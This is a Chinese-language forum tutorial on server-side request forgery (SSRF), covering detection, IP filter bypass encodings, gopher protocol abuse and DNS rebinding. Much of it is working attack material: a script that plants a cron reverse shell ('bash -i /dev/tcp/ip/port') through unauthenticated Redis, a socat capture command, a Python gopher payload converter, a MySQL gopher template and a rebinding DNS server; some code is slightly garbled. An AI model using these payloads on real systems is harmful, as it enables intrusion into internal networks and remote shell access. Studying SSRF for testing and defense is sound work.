標題:SSRF 漏洞相關

taibeihacker

Moderator

SSRF 漏洞相关​

1 定义与原理​

1.1 定义​

SSRF(Server-Side Request Forgery),服務器請求偽造,是一種由攻擊者構造請求,由服務端發起請求的安全漏洞。一般情況下, SSRF 攻擊的目標是從外網無法訪問的內部系統。
SSRF 形成的原因大都是由於服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。比如從指定URL 地址獲取網頁文本內容,加載指定地址的圖片,下載等等。
20210111165741.png-water_print

1.2 特点​

攻擊者無法直接訪問目標機器2 的服務
目標機器1 能夠訪問目標機器2 的服務
目標機器1 暴露了訪問目標機器2 的方式,攻擊者能夠利用
20210111170123.png-water_print

1.3 检测方法​

因為SSRF 漏洞是讓服務器發送請求的安全漏洞,所以可以通過抓包分析發送的請求是否是由服務器的發送的,從而來判斷是否存在SSRF 漏洞
在頁面源碼中查找訪問的資源地址,如果該資源地址類型為www.baidu.com/xxx.php?image=(地址)的就可能存在SSRF 漏洞

1.4 PHP 中的相关函数​

file_get_contents()
fsockopen()
curl_exec()

1.4 危害​

可以對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的banner 信息
攻擊運行在內網或本地的應用程序(比如溢出)
對內網Web 應用進行指紋識別,通過訪問默認文件實現
攻擊內外網的Web 應用,主要是使用get 參數就可以實現的攻擊(比如Struts2 漏洞利用,SQL 注入等)
利用File 協議讀取本地文件

2 绕过方法​

2.1 IP 绕过​

加端口
短網址,但是默認情況下CURL 命令不開啟follow 302 跳轉
指向任意IP 的域名xip.io,127.0.0.1.xip.io
IP 限制繞過
127.0.0.1
0177.0.0.1 八進制
0x7f.0.0.1 十六進制
十六進制去掉分隔符http://0x7f000001
十進制去掉分隔符http://2130706433

2.2 其它 Tips​

結合dict://file://gopher://
www.baidu.com 用戶名,檢測是否有權限訪問192.168.0.1 的網站
短連接(301 跳轉,需要能訪問到外網)

2.3 Gopher 协议​

gopher 是一個互聯網上使用的分佈型的文件蒐集獲取網絡協議
gopher 協議支持發出GET、POST 請求:可以先截獲get 請求包和post 請求包,再構造成符合gopher 協議的請求。 gopher 協議是ssrf 利用中一個最強大的協議(俗稱萬能協議)。

2.3.1 Gopher 控制 Redis 反弹 shell​

前提
redis 未授權
redis 對cron 有寫權限
20210111224322.png-water_print

通过 socat 抓流量腳本:
1
2
3
4
echo -e '\n\n*/1 * * * * bash -i /dev/tcp/ip/port 0 1\n\n'|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 quit
執行:/shell.sh 127.0.0.1 4444
流量转发1
socat -v tcp-listen:4444,fork tcp-connect:IP:6379
20210111225155.png-water_print

流量轉換
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# coding: utf-8
import sys
exp=''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '+':
continue
# 判斷倒數第2、3 字符串是否為\r
elif line[-3:-1]==r'\r':
# 如果該行只有\r,將\r 替換成%0a%0d%0a
if len(line)==3:
exp=exp + '%0a%0d%0a'
else:
line=line.replace(r'\r', '%0d%0a')
# 去掉最後的換行符
line=line.replace('\n', '')
exp=exp + line
# 判斷是否是空行,空行替換為%0a
elif line=='\x0a':
exp=exp + '%0a'
else:
line=line.replace('\n', '')
exp=exp + line
print exp

2.3.2 Gopher 对 Mysql 的利用​

前提:
存在SSRF 漏洞
MySQL 無密碼
Gopher 協議轉化
1
2
3
4
5
6
gopher://127.0.0.1:3306/_
+ url 編碼的登錄請求
+ 包長度(wireshark 抓包時可以直接看到Packet Length)
+ %00%00%00%03
+ 查詢語句(URL 編碼)
+ %01%00%00%00%01

2.3.3 相关工具​

20210112101832.png-water_print

20210112101956.png-water_print

2.4 DNS 重绑定攻击​

2.4.1 原理​

一般web 應用程序防禦SSRF 的流程如下:
20210112101758.png-water_print

獲取到輸入的URL,從該URL 中提取host
對該host 進行DNS 解析,獲取到解析的IP
檢測該IP 是否是合法的,比如是否是私有IP 等
如果IP 檢測為合法的,則進入curl 的階段發包
觀察到,在這個流程中,一共進行了兩次DNS 解析:第一次是對URL 的host 進行DNS 解析,第二次是使用curl 發包的時候進行解析。這兩次DNS 解析是有時間差的,我們可以使用這個時間差進行繞過。
時間差對應的DNS 中的機制是TTL。 TTL 表示DNS 裡面域名和IP 綁定關係的Cache 在DNS 上存活的最長時間。即請求了域名與IP 的關係後,請求方會緩存這個關係,緩存保持的時間就是TTL。而緩存失效後就會刪除,這時候如果重新訪問域名指定的IP 的話會重新建立匹配關係及cache。
在上面的流程中,如果在DNS 第二次解析的時候,我們能夠更換URL 對應的IP,那麼在TTL 之後、緩存失效之後,重新訪問此URL 的話,就能獲取被更換後的IP。如果我們把第一次解析的IP 設為合法IP,就能繞過host 合法性檢查;把第二次解析的IP 設為內網IP,就達到了SSRF 訪問內網的目的。
總結
DNS 重綁定攻擊的原理是:利用服務器兩次解析同一域名的短暫間隙,更換域名背後的ip 達到突破同源策略或過waf 進行ssrf 的目的。

2.4.2 实现​

一些 DNS Rebinding 平台 手动实现需要先添加一條NS 記錄和一條A 記錄:
記錄類型
主機記錄
記錄值
NS
test
ns.geekby.xyz
A
ns
39.96.14.41
NS 記錄表示域名test.geekby.xyz 這個子域名指定由ns.geekby.xyz 這個域名服務器來解析,然後A 記錄表示這個ns.geekby.xyz 的位置在IP 地址39.96.14.41 上。
這裡搭建DNS 服務器採用python 的twisted 庫中的name 模塊,代碼如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name=query.name.name
if name not in record or record[name] 1:
ip='127.0.0.1'
else:
ip='1.2.3.4'
if name not in record:
record[name]=0
record[name]+=1
print name+'==='+ip
answer=dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
ttl=0,
payload=dns.Record_A(address=b'%s'%ip,ttl=0)
)
answers=[answer]
authority=[]
additional=[]
return answers, authority, additional
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory=server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol=dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__=='__main__':
raise SystemExit(main())

2.4.3 防御方法​

通過控制兩次的DNS 查詢請求的間隔低於TTL 值,確保兩次查詢的結果一致。
Java 應用的默認TTL 為10s,這個默認配置會導致DNS Rebinding 繞過失敗。
 
返回
上方